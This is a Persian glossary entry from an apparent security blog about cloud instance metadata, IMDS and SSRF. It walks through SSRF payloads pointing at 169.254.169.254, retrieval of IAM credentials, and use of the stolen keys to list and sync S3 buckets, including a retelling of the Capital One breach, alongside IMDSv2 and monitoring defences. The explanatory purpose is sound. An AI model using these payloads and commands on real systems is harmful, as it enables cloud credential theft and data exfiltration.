KavLabs
خانهبلاگ
KavLabs

یادداشت‌هایی از ذهن‌های کاوشگر، برای ذهن‌های کنجکاو

پرهام·پرهام·زال·زال·
· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·
نوشته‌هادسته‌بندی‌هاجستجوی پیشرفتهلاگ تغییرات

©۲٬۰۲۶ KavLabs — تمام حقوق محفوظ است

ساخته‌شده با عشق توسط پرهام و زال

واژه‌نامه
۰۷ اسفند ۱۴۰۴امنیت ابرمتوسطزبان: فارسی

متادیتا

متوسطنسخه انگلیسی

داده‌ای که داده‌های دیگر را توصیف می‌کند. در محاسبات ابری، اطلاعات پیکربندی درباره نمونه‌ها از جمله اعتبارنامه‌های موقت است.

متادیتاابرimdsawsاعتبارنامه

تعریف کوتاه

متادیتا یعنی "داده درباره داده". در ابر، اطلاعاتی درباره سرور شماست: شناسه آن، تنظیمات شبکه، و مهم‌تر از همه، رمزهای موقت (اعتبارنامه) برای دسترسی به سرویس‌های دیگر. مشکل: در یک آدرس معروف قابل دسترسی است که مهاجمان عاشق هدف قرار دادنش هستند.

تعریف کامل

در محاسبات عمومی، متادیتا ویژگی‌های داده را توصیف می‌کند. در زمینه امنیت ابر، به طور خاص به متادیتای نمونه ارائه شده توسط پلتفرم‌های ابری اشاره دارد.

متادیتای نمونه ابری شامل:

اطلاعات هویتی:

  • شناسه نمونه
  • شناسه حساب
  • منطقه/منطقه در دسترس
  • نوع نمونه

پیکربندی شبکه:

  • آدرس IP خصوصی
  • آدرس IP عمومی
  • گروه‌های امنیتی
  • آدرس MAC

اعتبارنامه IAM:

  • شناسه کلید دسترسی
  • کلید دسترسی مخفی
  • توکن نشست
  • زمان انقضا

داده کاربر:

  • اسکریپت‌های bootstrap
  • فایل‌های پیکربندی
  • گاهی حاوی اسرار

چگونگی دسترسی (مثال AWS):

bash
1# دریافت شناسه نمونه
2curl http://169.254.169.254/latest/meta-data/instance-id
3
4# دریافت اعتبارنامه نقش IAM
5curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

چرا مهم است

  • برای عملکرد نمونه‌های ابری ضروری است
  • حاوی اعتبارنامه‌های بسیار حساس است
  • هدف اصلی در حملات SSRF
  • اعتبارنامه برای ساعاتی معتبر است
  • آدرس استاندارد در تمام نمونه‌ها

چگونه مهاجمان از آن استفاده می‌کنند

حمله SSRF برای سرقت متادیتا:

۱. پیدا کردن نقطه پایانی آسیب‌پذیر:

python
1# برنامه تصاویر را از URLها واکشی می‌کند
2POST /fetch-image
3{"url": "http://example.com/pic.jpg"}

۲. درخواست متادیتا به جای آن:

python
1{"url": "http://169.254.169.254/latest/meta-data/"}

۳. سرور با متادیتا پاسخ می‌دهد:

bash
1ami-id
2ami-launch-index
3iam/
4instance-id
5...

۴. دریافت اعتبارنامه:

python
1{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"}

۵. برمی‌گرداند:

json
1{
2 "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
3 "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
4 "Token": "very-long-session-token...",
5 "Expiration": "2026-02-27T12:00:00Z"
6}

۶. استفاده از اعتبارنامه:

bash
1aws s3 ls --access-key ASIA... --secret-key wJal...
2# اکنون به همه باکت‌های S3 که نقش اجازه می‌دهد دسترسی دارد

چگونه تشخیص یا پیشگیری کنیم

پیشگیری:

استفاده از IMDSv2:

bash
1# IMDSv2 ابتدا نیاز به توکن دارد
2TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
3
4# سپس از توکن در هدر استفاده کنید
5curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

حملات SSRF به راحتی نمی‌توانند درخواست PUT + هدر سفارشی را تکرار کنند.

محدودیت‌های شبکه:

bash
1# تنظیم محدودیت hop به ۱ (جلوگیری از ارسال)
2aws ec2 modify-instance-metadata-options \
3 --instance-id i-1234567890abcdef0 \
4 --http-put-response-hop-limit 1

محدودیت‌های نقش IAM:

  • اعمال کمترین دسترسی
  • محدود کردن آنچه اعتبارنامه متادیتا می‌تواند دسترسی داشته باشد
  • استفاده از سیاست‌های مبتنی بر منبع

سطح برنامه:

  • مسدود کردن 169.254.169.254 در درخواست‌های خروجی
  • اعتبارسنجی URLها قبل از واکشی
  • استفاده از لیست سفید برای درخواست‌های خارجی

تشخیص:

  • نظارت بر دسترسی به نقطه پایانی متادیتا
  • هشدار در مورد الگوهای دسترسی غیرعادی
  • ردیابی استفاده از اعتبارنامه بر اساس منبع
  • ثبت تمام فراخوانی‌های API انجام شده با اعتبارنامه متادیتا

باورهای غلط رایج

  • "متادیتا فقط اطلاعات فنی است" - شامل اعتبارنامه کامل است
  • "از بیرون قابل دسترسی نیست" - SSRF این را دور می‌زند
  • "تغییرات متادیتا نیاز به راه‌اندازی مجدد دارد" - پویا، خودکار به‌روزرسانی می‌شود
  • "مسدود کردن IP کافی است" - می‌توان از نام DNS در برخی ابرها استفاده کرد
  • "IMDSv2 کاملاً از SSRF جلوگیری می‌کند" - کمک زیادی می‌کند اما ۱۰۰٪ نیست

مثال واقعی

نقض Capital One - بهره‌برداری از متادیتا

گام به گام:

۱. WAF آسیب‌پذیر URLها را می‌پذیرفت

۲. مهاجم کاوش کرد:

bash
1http://169.254.169.254/
2→ پاسخ گرفت!

۳. نقش‌های IAM را فهرست کرد:

bash
1http://169.254.169.254/latest/meta-data/iam/security-credentials/
2→ پاسخ: ISRM-WAF-Role

۴. اعتبارنامه را بازیابی کرد:

bash
1http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
2→ اعتبارنامه کامل AWS برگردانده شد

۵. از اعتبارنامه برای فهرست کردن S3 استفاده کرد:

bash
1aws s3 ls --profile stolen-creds
2→ ۷۰۰+ باکت قابل مشاهده

۶. داده‌های حساس را دانلود کرد:

bash
1aws s3 sync s3://bucket-with-customer-data ./
2→ بیش از ۱۰۰ میلیون رکورد مشتری

چرا کار کرد:

  • IMDSv1 (بدون احراز هویت)
  • نقش WAF دسترسی بیش از حد داشت
  • نظارتی بر دسترسی غیرعادی به متادیتا نبود
  • اعتبارسنجی بر واکشی URL وجود نداشت

هزینه: بیش از ۲۳۰ میلیون دلار جریمه و بهبود

اصطلاحات مرتبط

IMDS, Cloud Infrastructure, Credentials, SSRF, Access Key

منابع و مراجع

  • docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

مفاهیم مرتبط

سرویس متادیتای نمونه(IMDS)

سرویسی در محیط‌های ابری که اطلاعاتی درباره خود نمونه‌ها از جمله اعتبارنامه‌های موقت را فراهم می‌کند و در آدرس 169.254.169.254 قابل دسترسی است.

زیرساخت ابری

منابع محاسباتی از راه دور (سرورها، ذخیره‌سازی، شبکه‌ها) که توسط شرکت‌هایی مثل AWS، Google Cloud یا Azure ارائه می‌شوند و از طریق اینترنت بدون نیاز به خرید سخت‌افزار فیزیکی در دسترس هستند.

اعتبارنامه

اطلاعات احراز هویت مانند رمز عبور، کلیدهای API، توکن‌ها یا گواهی‌ها که برای تأیید هویت و اعطای دسترسی استفاده می‌شود.

جعل درخواست سمت سرور(SSRF)

آسیب‌پذیری که به مهاجمان اجازه می‌دهد سرور را وادار به ارسال درخواست به آدرس‌های داخلی یا خارجی کنند.